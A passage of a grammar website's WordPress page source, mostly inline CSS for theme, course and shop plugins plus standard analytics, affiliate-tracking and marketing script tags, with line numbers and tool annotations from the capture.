359.nav-below-header .main-navigation .inside-navigation.grid-container, .nav-above-header .main-navigation .inside-navigation.grid-container{padding:0px 16px 0px 16px;}.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header{padding:70px 10px 20px 10px;}.site-main .wp-block-group__inner-container{padding:70px 10px 20px 10px;}.separate-containers .paging-navigation{padding-top:20px;padding-bottom:20px;}.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull{margin-left:-10px;width:calc(100% + 20px);max-width:calc(100% + 20px);}.one-container.right-sidebar .site-main,.one-container.both-right .site-main{margin-right:10px;}.one-container.left-sidebar .site-main,.one-container.both-left .site-main{margin-left:10px;}.one-container.both-sidebars .site-main{margin:0px 10px 0px 10px;}.one-container.archive .post:not(:last-child):not(.is-loop-template-item), .one-container.blog .post:not(:last-child):not(.is-loop-template-item){padding-bottom:20px;}.main-navigation .main-nav ul li a,.menu-toggle,.main-navigation .menu-bar-item > a{padding-left:14px;padding-right:14px;}.main-navigation .main-nav ul ul li a{padding:10px 14px 10px 14px;}.rtl .menu-item-has-children .dropdown-menu-toggle{padding-left:14px;}.menu-item-has-children .dropdown-menu-toggle{padding-right:14px;}.rtl .main-navigation .main-nav ul li.menu-item-has-children > a{padding-right:14px;}.widget-area .widget{padding:30px 0px 30px 0px;}.footer-widgets-container{padding:0px 40px 0px 40px;}.inside-site-info{padding:20px;}@media (max-width:768px){.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header{padding:80px 30px 20px 30px;}.site-main .wp-block-group__inner-container{padding:80px 30px 20px 30px;}.inside-top-bar{padding-right:30px;padding-left:30px;}.inside-header{padding-top:20px;padding-right:20px;padding-bottom:20px;padding-left:30px;}.widget-area .widget{padding-top:20px;padding-right:20px;padding-bottom:20px;padding-left:20px;}.footer-widgets-container{padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.inside-site-info{padding-right:30px;padding-left:30px;}.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull{margin-left:-30px;width:calc(100% + 60px);max-width:calc(100% + 60px);}.one-container .site-main .paging-navigation{margin-bottom:20px;}}/* End cached CSS */.is-right-sidebar{width:30%;}.is-left-sidebar{width:25%;}.site-content .content-area{width:100%;}@media (max-width: 1084px){.main-navigation .menu-toggle,.sidebar-nav-mobile:not(#sticky-placeholder){display:block;}.main-navigation ul,.gen-sidebar-nav,.main-navigation:not(.slideout-navigation):not(.toggled) .main-nav > ul,.has-inline-mobile-toggle #site-navigation .inside-navigation > *:not(.navigation-search):not(.main-nav){display:none;}.nav-align-right .inside-navigation,.nav-align-center .inside-navigation{justify-content:space-between;}} 360#content {max-width: 1137px;margin-left: auto;margin-right: auto;} 361.dynamic-author-image-rounded{border-radius:100%;}.dynamic-featured-image, .dynamic-author-image{vertical-align:middle;}.one-container.blog .dynamic-content-template:not(:last-child), .one-container.archive .dynamic-content-template:not(:last-child){padding-bottom:0px;}.dynamic-entry-excerpt > p:last-child{margin-bottom:0px;} 362.main-navigation.slideout-navigation .main-nav > ul > li > a{line-height:50px;} 363/*# sourceURL=generate-style-inline-css */ 364</style> 365<link data-minify="1" rel='stylesheet' id='generate-child-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/themes/generatepress_child/style.css?ver=1789058374' media='all' /> 366 367<link data-minify="1" rel='stylesheet' id='learndash-front-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/themes/ld30/assets/css/learndash.min.css?ver=1789058374' media='all' /> 368<style id="learndash-front-inline-css"> 369 .learndash-wrapper .ld-item-list .ld-item-list-item.ld-is-next, 370 .learndash-wrapper .wpProQuiz_content .wpProQuiz_questionListItem label:focus-within { 371 border-color: #42b99f;
372 } 373 374 /* 375 .learndash-wrapper a:not(.ld-button):not(#quiz_continue_link):not(.ld-focus-menu-link):not(.btn-blue):not(#quiz_continue_link):not(.ld-js-register-account):not(#ld-focus-mode-course-heading):not(#btn-join):not(.ld-item-name):not(.ld-table-list-item-preview):not(.ld-lesson-item-preview-heading), 376 */ 377 378 .learndash-wrapper .ld-breadcrumbs a, 379 .learndash-wrapper .ld-lesson-item.ld-is-current-lesson .ld-lesson-item-preview-heading, 380 .learndash-wrapper .ld-lesson-item.ld-is-current-lesson .ld-lesson-title, 381 .learndash-wrapper .ld-primary-color-hover:hover, 382 .learndash-wrapper .ld-primary-color, 383 .learndash-wrapper .ld-primary-color-hover:hover, 384 .learndash-wrapper .ld-primary-color, 385 .learndash-wrapper .ld-tabs .ld-tabs-navigation .ld-tab.ld-active, 386 .learndash-wrapper .ld-button.ld-button-transparent, 387 .learndash-wrapper .ld-button.ld-button-reverse, 388 .learndash-wrapper .ld-icon-certificate, 389 .learndash-wrapper .ld-login-modal .ld-login-modal-login .ld-modal-heading, 390 #wpProQuiz_user_content a, 391 .learndash-wrapper .ld-item-list .ld-item-list-item a.ld-item-name:hover, 392 .learndash-wrapper .ld-focus-comments__heading-actions .ld-expand-button, 393 .learndash-wrapper .ld-focus-comments__heading a, 394 .learndash-wrapper .ld-focus-comments .comment-respond a, 395 .learndash-wrapper .ld-focus-comment .ld-comment-reply a.comment-reply-link:hover, 396 .learndash-wrapper .ld-expand-button.ld-button-alternate { 397 color: #42b99f !important; 398 } 399 400 .learndash-wrapper .ld-focus-comment.bypostauthor>.ld-comment-wrapper, 401 .learndash-wrapper .ld-focus-comment.role-group_leader>.ld-comment-wrapper, 402 .learndash-wrapper .ld-focus-comment.role-administrator>.ld-comment-wrapper { 403 background-color:rgba(66, 185, 159, 0.03) !important; 404 } 405 406 407 .learndash-wrapper .ld-primary-background, 408 .learndash-wrapper .ld-tabs .ld-tabs-navigation .ld-tab.ld-active:after { 409 background: #42b99f !important; 410 } 411 412 413 414 .learndash-wrapper .ld-course-navigation .ld-lesson-item.ld-is-current-lesson .ld-status-incomplete, 415 .learndash-wrapper .ld-focus-comment.bypostauthor:not(.ptype-sfwd-assignment) >.ld-comment-wrapper>.ld-comment-avatar img, 416 .learndash-wrapper .ld-focus-comment.role-group_leader>.ld-comment-wrapper>.ld-comment-avatar img, 417 .learndash-wrapper .ld-focus-comment.role-administrator>.ld-comment-wrapper>.ld-comment-avatar img { 418 border-color: #42b99f !important; 419 } 420 421 422 423 .learndash-wrapper .ld-loading::before { 424 border-top:3px solid #42b99f !important; 425 } 426 427 .learndash-wrapper .ld-button:hover:not([disabled]):not(.ld-button-transparent):not(.ld--ignore-inline-css), 428 #learndash-tooltips .ld-tooltip:after, 429 #learndash-tooltips .ld-tooltip, 430 .ld-tooltip:not(.ld-tooltip--modern) [role="tooltip"], 431 .learndash-wrapper .ld-primary-background, 432 .learndash-wrapper .btn-join:not(.ld--ignore-inline-css), 433 .learndash-wrapper #btn-join:not(.ld--ignore-inline-css), 434 .learndash-wrapper .ld-button:not([disabled]):not(.ld-button-reverse):not(.ld-button-transparent):not(.ld--ignore-inline-css), 435 .learndash-wrapper .ld-expand-button:not([disabled]), 436 .learndash-wrapper .wpProQuiz_content .wpProQuiz_button:not([disabled]):not(.wpProQuiz_button_reShowQuestion):not(.wpProQuiz_button_restartQuiz), 437 .learndash-wrapper .wpProQuiz_content .wpProQuiz_button2:not([disabled]), 438 .learndash-wrapper .ld-focus .ld-focus-sidebar .ld-course-navigation-heading, 439 .learndash-wrapper .ld-focus-comments .form-submit #submit, 440 .learndash-wrapper .ld-login-modal input[type='submit']:not([disabled]), 441 .learndash-wrapper .ld-login-modal .ld-login-modal-register:not([disabled]), 442 .learndash-wrapper .wpProQuiz_content .wpProQuiz_certificate a.btn-blue:not([disabled]), 443 .learndash-wrapper .ld-focus .ld-focus-header .ld-user-menu .ld-user-menu-items a:not([disabled]), 444 #wpProQuiz_user_content table.wp-list-table thead th, 445 #wpProQuiz_overlay_close:not([disabled]), 446 .learndash-wrapper .ld-expand-button.ld-button-alternate:not([disabled]) .ld-icon { 447 background-color: #42b99f !important; 448 color: #000000; 449 } 450 451 .learndash-wrapper .ld-focus .ld-focus-sidebar .ld-focus-sidebar-tr
451igger:not([disabled]):not(:hover):not(:focus) .ld-icon { 452 background-color: #42b99f; 453 } 454 455 .learndash-wrapper .ld-focus .ld-focus-sidebar .ld-focus-sidebar-trigger:hover .ld-icon, 456 .learndash-wrapper .ld-focus .ld-focus-sidebar .ld-focus-sidebar-trigger:focus .ld-icon { 457 border-color: #42b99f; 458 color: #42b99f; 459 } 460 461 .learndash-wrapper .ld-button:focus:not(.ld-button-transparent):not(.ld--ignore-inline-css), 462 .learndash-wrapper .btn-join:focus:not(.ld--ignore-inline-css), 463 .learndash-wrapper #btn-join:focus:not(.ld--ignore-inline-css), 464 .learndash-wrapper .ld-expand-button:focus, 465 .learndash-wrapper .wpProQuiz_content .wpProQuiz_button:not(.wpProQuiz_button_reShowQuestion):focus:not(.wpProQuiz_button_restartQuiz), 466 .learndash-wrapper .wpProQuiz_content .wpProQuiz_button2:focus, 467 .learndash-wrapper .ld-focus-comments .form-submit #submit, 468 .learndash-wrapper .ld-login-modal input[type='submit']:focus, 469 .learndash-wrapper .ld-login-modal .ld-login-modal-register:focus, 470 .learndash-wrapper .wpProQuiz_content .wpProQuiz_certificate a.btn-blue:focus { 471 opacity: 0.75; /* Replicates the hover/focus states pre-4.21.3. */ 472 outline-color: #42b99f; 473 } 474 475 .learndash-wrapper .ld-button:hover:not(.ld-button-transparent):not(.ld--ignore-inline-css), 476 .learndash-wrapper .btn-join:hover:not(.ld--ignore-inline-css), 477 .learndash-wrapper #btn-join:hover:not(.ld--ignore-inline-css), 478 .learndash-wrapper .ld-expand-button:hover, 479 .learndash-wrapper .wpProQuiz_content .wpProQuiz_button:not(.wpProQuiz_button_reShowQuestion):hover:not(.wpProQuiz_button_restartQuiz), 480 .learndash-wrapper .wpProQuiz_content .wpProQuiz_button2:hover, 481 .learndash-wrapper .ld-focus-comments .form-submit #submit, 482 .learndash-wrapper .ld-login-modal input[type='submit']:hover, 483 .learndash-wrapper .ld-login-modal .ld-login-modal-register:hover, 484 .learndash-wrapper .wpProQuiz_content .wpProQuiz_certificate a.btn-blue:hover { 485 background-color: #42b99f; /* Replicates the hover/focus states pre-4.21.3. */ 486 opacity: 0.85; /* Replicates the hover/focus states pre-4.21.3. */ 487 } 488 489 .learndash-wrapper .ld-item-list .ld-item-search .ld-closer:focus { 490 border-color: #42b99f; 491 } 492 493 .learndash-wrapper .ld-focus .ld-focus-header .ld-user-menu .ld-user-menu-items:before { 494 border-bottom-color: #42b99f !important; 495 } 496 497 .learndash-wrapper .ld-button.ld-button-transparent:hover { 498 background: transparent !important; 499 } 500 501 .learndash-wrapper .ld-button.ld-button-transparent:focus { 502 outline-color: #42b99f; 503 } 504 505 .learndash-wrapper .ld-focus .ld-focus-header .sfwd-mark-complete .learndash_mark_complete_button:not(.ld--ignore-inline-css), 506 .learndash-wrapper .ld-focus .ld-focus-header #sfwd-mark-complete #learndash_mark_complete_button, 507 .learndash-wrapper .ld-button.ld-button-transparent, 508 .learndash-wrapper .ld-button.ld-button-alternate, 509 .learndash-wrapper .ld-expand-button.ld-button-alternate { 510 background-color:transparent !important; 511 } 512 513 .learndash-wrapper .ld-focus-header .ld-user-menu .ld-user-menu-items a, 514 .learndash-wrapper .ld-button.ld-button-reverse:hover, 515 .learndash-wrapper .ld-alert-success .ld-alert-icon.ld-icon-certificate, 516 .learndash-wrapper .ld-alert-warning .ld-button, 517 .learndash-wrapper .ld-primary-background.ld-status { 518 color:white !important; 519 } 520 521 .learndash-wrapper .ld-status.ld-status-unlocked { 522 background-color: rgba(66,185,159,0.2) !important; 523 color: #42b99f !important; 524 } 525 526 .learndash-wrapper .wpProQuiz_content .wpProQuiz_addToplist { 527 background-color: rgba(66,185,159,0.1) !important; 528 border: 1px solid #42b99f !important; 529 } 530 531 .learndash-wrapper .wpProQuiz_content .wpProQuiz_toplistTable th { 532 background: #42b99f !important; 533 } 534 535 .learndash-wrapper .wpProQuiz_content .wpProQuiz_toplistTrOdd { 536 background-color: rgba(66,185,159,0.1) !important; 537 } 538 539 540 .learndash-wrapper .wpProQuiz_content .wpProQuiz_time_limit .wpProQuiz_progress { 541 background-color: #42b99f !important; 542 } 543 544 .learndash-wrapper #quiz_continue_link, 545 .learndash-wrapper .ld-secondary-background, 546 .learndash-wrapper .learndash_mark_complete_button:not(.ld--ignore-inline-css), 547 .learndash-wrapper #learndash_mark_complete_button, 548 .learndash-wrapper .ld-status-complete, 549 .learndash-wrapper .ld-alert-success .ld-button, 550 .learndash-wrapper .ld-alert-success .ld-alert-icon { 551 background-color: #67c7b2 !important; 552 } 553 554 .learndash-wrapper #quiz_continue_link:focus, 555 .learndash-wrapper .learndash_mark_complete_button:focus:not(.ld--ignore-inline-css), 556 .learndash-wrapper #learndash_mark_complete_button:focus, 557 .learndash-wrapper .ld-alert-success .ld-button:focus { 558 outline-color: #67c7b2; 559 } 560 561 .learndash-wrapper .wpProQuiz_content a#quiz_continue_link { 562 background-color: #67c7b2 !important; 563 } 564 565 .learndash-wrapper .wpProQuiz_content a#quiz_continue_link:focus { 566 outline-color: #67c7b2; 567 } 568 569 .learndash-wrapper .course_progress .sending_progress_bar { 570 background: #67c7b2 !important; 571 } 572 573 .learndash-wrapper .wpProQuiz_content .wpProQuiz_button_reShowQuestion:hover, .learndash-wrapper .wpProQuiz_content .wpProQuiz_button_restartQuiz:hover { 574 background-color: #67c7b2 !important; 575 opacity: 0.75; 576 } 577 578 .learndash-wrapper .wpProQuiz_content .wpProQuiz_button_reShowQuestion:focus, 579 .learndash-wrapper .wpProQuiz_content .wpProQuiz_button_restartQuiz:focus { 580 outline-color: #67c7b2; 581 } 582 583 .learndash-wrapper .ld-secondary-color-hover:hover, 584 .learndash-wrapper .ld-secondary-color, 585 .learndash-wrapper .ld-focus .ld-focus-header .sfwd-mark-complete .learndash_mark_complete_button:not(.ld--ignore-inline-css), 586 .learndash-wrapper .ld-focus .ld-focus-header #sfwd-mark-complete #learndash_mark_complete_button, 587 .learndash-wrapper .ld-focus .ld-focus-header .sfwd-mark-complete:after {
588 color: #67c7b2 !important; 589 } 590 591 .learndash-wrapper .ld-secondary-in-progress-icon { 592 border-left-color: #67c7b2 !important; 593 border-top-color: #67c7b2 !important; 594 } 595 596 .learndash-wrapper .ld-alert-success { 597 border-color: #67c7b2; 598 background-color: transparent !important; 599 color: #67c7b2; 600 } 601 602 603/*# sourceURL=learndash-front-inline-css */ 604</style> 605<link data-minify="1" rel='stylesheet' id='convertkit-admin-quicktags-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/convertkit/resources/backend/css/quicktags.css?ver=1789058374' media='all' /> 606<link data-minify="1" rel='stylesheet' id='generateblocks-global-css' href='https://grammarist.com/wp-content/cache/background-css/1/grammarist.com/wp-content/cache/min/1/wp-content/uploads/generateblocks/style-global.css?ver=1789058374&wpr_t=1790182192' media='all' /> 607<link data-minify="1" rel='stylesheet' id='generateblocks-css' href='https://grammarist.com/wp-content/cache/background-css/1/grammarist.com/wp-content/cache/min/1/wp-content/uploads/generateblocks/style-108520.css?ver=1789059126&wpr_t=1790182192' media='all' /> 608<link rel='stylesheet' id='generate-blog-columns-css' href='https://grammarist.com/wp-content/plugins/gp-premium/blog/functions/css/columns.min.css?ver=2.5.6' media='all' /> 609<link rel='stylesheet' id='generate-secondary-nav-css' href='https://grammarist.com/wp-content/plugins/gp-premium/secondary-nav/functions/css/main.min.css?ver=2.5.6' media='all' /> 610<style id="generate-secondary-nav-inline-css"> 611.secondary-navigation{background-color:rgba(242,245,250,0);}.secondary-nav-below-header .secondary-navigation .inside-navigation.grid-container, .secondary-nav-above-header .secondary-navigation .inside-navigation.grid-container{padding:0px 5px 0px 5px;}.secondary-navigation .main-nav ul li a,.secondary-navigation .menu-toggle,.secondary-menu-bar-items .menu-bar-item > a{color:var(--contrast);padding-left:35px;padding-right:35px;line-height:50px;}.secondary-navigation .secondary-menu-bar-items{color:var(--contrast);}button.secondary-menu-toggle:hover,button.secondary-menu-toggle:focus{color:var(--contrast);}.widget-area .secondary-navigation{margin-bottom:20px;}.secondary-navigation ul ul{background-color:#303030;top:auto;}.secondary-navigation .main-nav ul ul li a{color:#ffffff;padding-left:35px;padding-right:35px;}.secondary-navigation .menu-item-has-children .dropdown-menu-toggle{padding-right:35px;}.secondary-navigation .main-nav ul li:not([class*="current-menu-"]):hover > a, .secondary-navigation .main-nav ul li:not([class*="current-menu-"]):focus > a, .secondary-navigation .main-nav ul li.sfHover:not([class*="current-menu-"]) > a, .secondary-menu-bar-items .menu-bar-item:hover > a{color:var(--contrast);background-color:rgba(242,245,250,0);}.secondary-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a,.secondary-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a,.secondary-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a{color:#ffffff;background-color:#474747;}.secondary-navigation .main-nav ul li[class*="current-menu-"] > a{color:var(--contrast);background-color:rgba(242,245,250,0);}.secondary-navigation .main-nav ul ul li[class*="current-menu-"] > a{color:#ffffff;background-color:#474747;}.secondary-navigation.toggled .dropdown-menu-toggle:before{display:none;}@media (max-width: 1084px) {.secondary-menu-bar-items .menu-bar-item:hover > a{background: none;color: var(--contrast);}} 612.secondary-navigation .main-nav ul li a, .secondary-navigation .menu-toggle, .secondary-navigation .menu-bar-items{font-weight:700;text-transform:uppercase;font-size:15px;line-height:2.5;} 613/*# sourceURL=generate-secondary-nav-inline-css */ 614</style> 615<link rel='stylesheet' id='generate-secondary-nav-mobile-css' href='https://grammarist.com/wp-content/plugins/gp-premium/secondary-nav/functions/css/main-mobile.min.css?ver=2.5.6' media='all' /> 616<link rel='stylesheet' id='generate-offside-css' href='https://grammarist.com/wp-content/plugins/gp-premium/menu-plus/functions/css/offside.min.css?ver=2.5.6' media='all' /> 617<style id="generate-offside-inline-css"> 618:root{--gp-slideout-width:265px;}.slideout-navigation.main-navigation{background-color:#e1e6ed;}.slideout-navigation.main-navigation .main-nav ul li a{color:var(--contrast);}.slideout-navigation.main-navigation ul ul{background-color:var(--base-2);}.slideout-navigation.main-navigation .main-nav ul ul li a{color:var(--contrast);}.slideout-navigation.main-navigation .main-nav ul li:not([class*="current-menu-"]):hover > a, .slideout-navigation.main-navigation .main-nav ul li:not([class*="current-menu-"]):focus > a, .slideout-navigation.main-navigation .main-nav ul li.sfHover:not([class*="current-menu-"]) > a{color:var(--global-color-12);}.slideout-navigation.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a, .slideout-navigation.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a, .slideout-navigation.main-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a{color:var(--global-color-12);background-color:rgba(0,0,0,0);}.slideout-navigation.main-navigation .main-nav ul li[class*="current-menu-"] > a{color:var(--contrast-3);}.slideout-navigation.main-navigation .main-nav ul ul li[class*="current-menu-"] > a{background-color:rgba(0,0,0,0);}.slideout-navigation, .slideout-navigation a{color:var(--contrast);}.slideout-navigation button.slideout-exit{color:var(--contrast);padding-left:14px;padding-right:14px;}.slide-opened nav.toggled .menu-toggle:before{display:none;}@media (max-width: 1084px){.menu-bar-item.slideout-toggle{display:none;}} 619.slideout-navigation.main-navigation .main-nav ul li a{font-weight:600;text-transform:uppercase;font-size:16px;line-height:2.2;}@media (max-width:768px){.slideout-navigation.main-navigation .main-nav ul li a{font-size:20px;}} 620/*# sourceURL=generate-offside-inline-css */ 621</style> 622<link rel='stylesheet' id='generate-navigation-branding-css' href='https://grammarist.com/wp-content/plugins/gp-premium/menu-plus/functions/css/navigation-branding-flex.min.css?ver=2.5.6' media='all' /> 623<style id="generate-navigation-branding-inline-css"> 624.main-navigation.has-branding .inside-navigation.grid-container, .main-navigation.has-branding.grid-container .inside-navigation:not(.grid-container){padding:0px 10px 0px 10px;}.main-navigation.has-branding:not(.grid-container) .inside-navigation:not(.grid-container) .navigation-branding{margin-left:10px;}.navigation-branding img, .site-logo.mobile-header-logo img{height:60px;width:auto;}.navigation-branding .main-title{line-height:60px;}@media (max-width: 1084px){.main-navigation.has-branding.nav-align-center .menu-bar-items, .main-navigation.has-sticky-branding.navigation-stick.nav-align-center .menu-bar-items{margin-left:auto;}.navigation-branding{margin-right:auto;margin-left:10px;}.navigation-branding .main-title, .mobile-header-navigation .site-logo{margin-left:10px;}.main-navigation.has-branding .inside-navigation.grid-container{padding:0px;}} 625/*# sourceURL=generate-navigation-branding-inline-css */ 626</style>
627<script type="text/rocketlazyloadscript" id="surecart-affiliate-tracking-js-before"> 628window.SureCartAffiliatesConfig = { 629 "publicToken": "pt_mFtFbBnyox9WoSEkY7EHViT4", 630 "baseURL":"https://api.surecart.com/v1" 631 }; 632//# sourceURL=surecart-affiliate-tracking-js-before 633</script>
vendor: 1 bytes, line 633
633
634<script type="text/rocketlazyloadscript" data-wp-strategy="defer" defer id="surecart-affiliate-tracking-js" data-rocket-src="https://js.surecart.com/v1/affiliates?ver=1.1"></script>
vendor: 1 bytes, line 634
634
635<script id="jquery-core-js-extra"> 636var pysFacebookRest = {"restApiUrl":"https://grammarist.com/wp-json/pys-facebook/v1/event","debug":""}; 637//# sourceURL=jquery-core-js-extra 638</script>
vendor: 1 bytes, line 638
638
639<script type="text/rocketlazyloadscript" id="jquery-core-js" data-rocket-src="https://grammarist.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
vendor: 1 bytes, line 639
639
640<script type="text/rocketlazyloadscript" id="jquery-migrate-js" data-rocket-src="https://grammarist.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
vendor: 1 bytes, line 640
640
641<script id="jquery-cookie-js-extra"> 642var affwp_scripts = {"ajaxurl":"https://grammarist.com/wp-admin/admin-ajax.php"}; 643//# sourceURL=jquery-cookie-js-extra 644</script>
vendor: 1 bytes, line 644
644
645<script type="text/rocketlazyloadscript" id="jquery-cookie-js" data-rocket-src="https://grammarist.com/wp-content/plugins/affiliate-wp/assets/js/jquery.cookie.min.js?ver=1.4.0"></script>
vendor: 1 bytes, line 645
645
646<script id="affwp-tracking-js-extra"> 647var affwp_debug_vars = {"integrations":{"contactform7":"Contact Form 7","elementor":"Elementor","formidablepro":"Formidable Pro","learndash":"LearnDash","woocommerce":"WooCommerce"},"version":"2.27.4","currency":"USD","ref_cookie":"affwp_ref","visit_cookie":"affwp_ref_visit_id","campaign_cookie":"affwp_campaign"}; 648//# sourceURL=affwp-tracking-js-extra 649</script>
vendor: 1 bytes, line 649
649
650<script type="text/rocketlazyloadscript" id="affwp-tracking-js" data-rocket-src="https://grammarist.com/wp-content/plugins/affiliate-wp/assets/js/tracking.min.js?ver=2.27.4"></script>
650 651<link rel="https://api.w.org/" href="https://grammarist.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://grammarist.com/wp-json/wp/v2/pages/108520" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://grammarist.com/xmlrpc.php?rsd" /> 652 653<link rel='shortlink' href='https://grammarist.com/?p=108520' />
654<script type="text/rocketlazyloadscript" data-rocket-type="text/javascript">!function(e,t){(e=t.createElement("script")).src="https://cdn.convertbox.com/convertbox/js/embed.js",e.id="app-convertbox-script",e.async=true,e.dataset.uuid="f48e7432-2ad7-42b0-a2ef-c78046f59c1d",document.getElementsByTagName("head")[0].appendChild(e)}(window,document);</script>
vendor: 1 bytes, line 654
654
655<script type="text/rocketlazyloadscript">var cb_wp=cb_wp || {};cb_wp.is_user_logged_in=false;cb_wp.post_data={"id":108520,"tags":[],"post_type":"page","cats":[]};</script>
655
655<script type="text/rocketlazyloadscript" data-rocket-type="text/javascript"> 656 (function(c, l, a, r, i, t, y) { 657 c[a] = c[a] || function() { 658 (c[a].q = c[a].q || []).push(arguments) 659 }; 660 t = l.createElement(r); 661 t.async = 1; 662 t.src = "https://www.clarity.ms/tag/" + i + "?ref=wordpress"; 663 y = l.getElementsByTagName(r)[0]; 664 y.parentNode.insertBefore(t, y); 665 })(window, document, "clarity", "script", "hlyorjnlzt"); 666 </script>
666 667 <meta name="facebook-domain-verification" content="dlk14v5e58su5ch0blkgcndnn73vyc" /><meta name="hubbub-info" description="Hubbub Pro 2.20.0">
667<script type="text/rocketlazyloadscript" data-rocket-type="text/javascript"> 668 var AFFWP = AFFWP || {}; 669 AFFWP.referral_var = 'ref'; 670 AFFWP.expiration = 30; 671 AFFWP.debug = 0; 672 673 674 AFFWP.referral_credit_last = 1; 675 </script>
vendor: 1 bytes, line 675
675
676<script type="text/rocketlazyloadscript">document.documentElement.className += " js";</script>
676 677 <style type="text/css"> 678 .dashboard-buttons { 679 display: none; 680 } 681 .my-account-hero { 682 margin-bottom: 0px; 683 } 684 </style> 685 <style> 686.dpsp-pin-it-button.dpsp-pin-it-button-shape-rectangular { 687display: none; 688} 689 690.dpsp-pin-it-wrapper .dpsp-pin-it-overlay { 691display: none; 692} 693</style><style> 694 /* General Fixes */ 695.page-id-96980 .elementor-accordion .elementor-accordion-item { 696 margin-bottom: 20px; 697} 698 699.interlearn svg { 700 width: 1.5em; 701 height: 1.5em; 702 display: flex; 703} 704 705ul.prosconslist { 706 margin: 0 1em 1.2em 1.5em; 707} 708 709.wp-block-quote { 710 font-size: 18px; 711} 712 713img.avatar.avatar-50.photo { 714 top: 10px; 715 position: relative; 716} 717 718.separate-containers .inside-right-sidebar { 719 display: contents; 720} 721 722.no-comments { 723 display: none; 724} 725 726.entry-content p a:link { 727 border-bottom: 3px solid currentcolor; 728} 729 730/* Author Bio Tooltip */ 731.author-popup { 732 display: none; 733 position: absolute; 734 z-index: 50; 735 right: 0; 736 left: 0; 737} 738 739/* Hide Floating Sidebar on Specific Pages */ 740.page-id-70514 #dpsp-floating-sidebar, 741.page-id-70519 #dpsp-floating-sidebar, 742.page-id-94939 #dpsp-floating-sidebar, 743.page-id-96488 #dpsp-floating-sidebar, 744.page-id-96831 #dpsp-floating-sidebar, 745.page-id-96980 #dpsp-floating-sidebar, 746.page-id-57287 #dpsp-floating-sidebar, 747.page-id-58661 #dpsp-floating-sidebar.dpsp-position-left.dpsp-shape-circle.dpsp-animation-2.opened, 748.page-id-58665 #dpsp-floating-sidebar.dpsp-position-left.dpsp-shape-circle.dpsp-animation-2.opened { 749 display: none !important; 750} 751 752@media (min-width: 1700px) { 753 #dpsp-floating-sidebar.dpsp-position-left.dpsp-shape-circle.dpsp-animation-2.opened { 754 left: 250px; 755 } 756} 757 758@media (max-width: 1200px) { 759 #dpsp-floating-sidebar.dpsp-position-left.dpsp-shape-circle.dpsp-animation-2.opened { 760 display: none !important; 761 } 762} 763 764/* Category Slider */ 765.category-slider { 766 overflow-x: scroll; 767} 768 769.category-slider .gb-grid-wrapper.gb-query-loop-wrapper { 770 flex-wrap: nowrap; 771} 772 773.category-slider .gb-grid-column { 774 flex-basis: 420px; 775 flex-shrink: 0; 776} 777 778.category-slider-meta a:link { 779 border-bottom: 0 !important; 780} 781 782.category-slider .gb-container { 783 background: none; 784} 785 786/* Custom Scrollbar */ 787::-webkit-scrollbar { 788 width: 10px; 789 height: 10px; 790 background-color: #fafafa; 791 border-radius: 10px; 792} 793 794::-webkit-scrollbar-track { 795 box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.3); 796 background-color: #f6f8f9; 797 border-radius: 10px; 798} 799 800::-webkit-scrollbar-thumb { 801 border-radius: 10px; 802 background-color: #42b99f; 803 background-image: -webkit-linear-gradient(45deg, 804 rgba(255, 255, 255, 0.2) 25%, 805 transparent 25%, 806 transparent 50%, 807 rgba(255, 255, 255, 0.2) 50%, 808 rgba(255, 255, 255, 0.2) 75%, 809 transparent 75%, 810 transparent 811 ); 812} 813 814/* Article Padding on Mobile */ 815.full-width-content.separate-containers .inside-article { 816 padding: 80px 30px 20px; 817} 818 819/* Hide image on small screen */ 820@media (max-width: 480px) { 821 .hidden-image-1 { 822 display: none; 823 } 824} 825 826/* Home Page Hero Styling */ 827.home-checklist .gb-headline-text { 828 margin-top: -5px; 829} 830 831.home [id^="cbox"] .cb-element__type-btn.cb-element__size-xlarge .cb-element__button { 832 font-size: 23px; 833 line-height: 35px; 834} 835 836/* Overlay for Spotlight Effect */ 837#dark-overlay { 838 display: none; 839 position: fixed; 840 top: 0; 841 left: 0; 842 width: 100%; 843 height: 100%; 844 background: rgba(0, 0, 0, 0.6); 845 z-index: 9999; 846} 847 848.highlight { 849 position: relative; 850 z-index: 10000; 851 background: #fff; 852} 853 854/* Cartflows Thank You Button */ 855.wcf-thankyou-wrap a.button, 856.wpcf__order-detail-form .wcf-thankyou-wrap .woocommerce-order p a.button { 857 color: #fff; 858 background-color: #42b99f; 859 text-decoration: none; 860 padding: 10px 20px; 861 display: inline-block; 862 font-weight: 600; 863 font-size: 19px; 864} 865 866/* LearnDash */ 867.learndash-wrapper .wpProQuiz_questionInput[type="text"], 868.learndash-wrapper .wpProQuiz_content .wpProQuiz_questionListItem p:nth-child(odd) { 869 width: 100% !important; 870 background-color: #f0f3f6; 871} 872 873.learndash-wrapper form[name="uploadEssay"] input[type="submit"] { 874 display: none; 875 } 876 877.wp-block-file__button, 878.learndash-wrapper .wpProQuiz_answerCorrect label { 879 background: #42b99f; 880} 881 882/* WooCommerce */ 883.woocommerce-MyAccount-navigation { 884 display: none; 885} 886 887.woocommerce-account .woocommerce-MyAccount-content { 888 width: 100%; 889} 890 891.woocommerce .woocommerce-form-login .woocommerce-form-login__submit { 892 background-color: #42b99f; 893 color: #fff; 894} 895 896.woocommerce .woocommerce-form-login .woocommerce-form-login__submit:hover { 897 background-color: #379b85; 898} 899 900/* Progress Bar */ 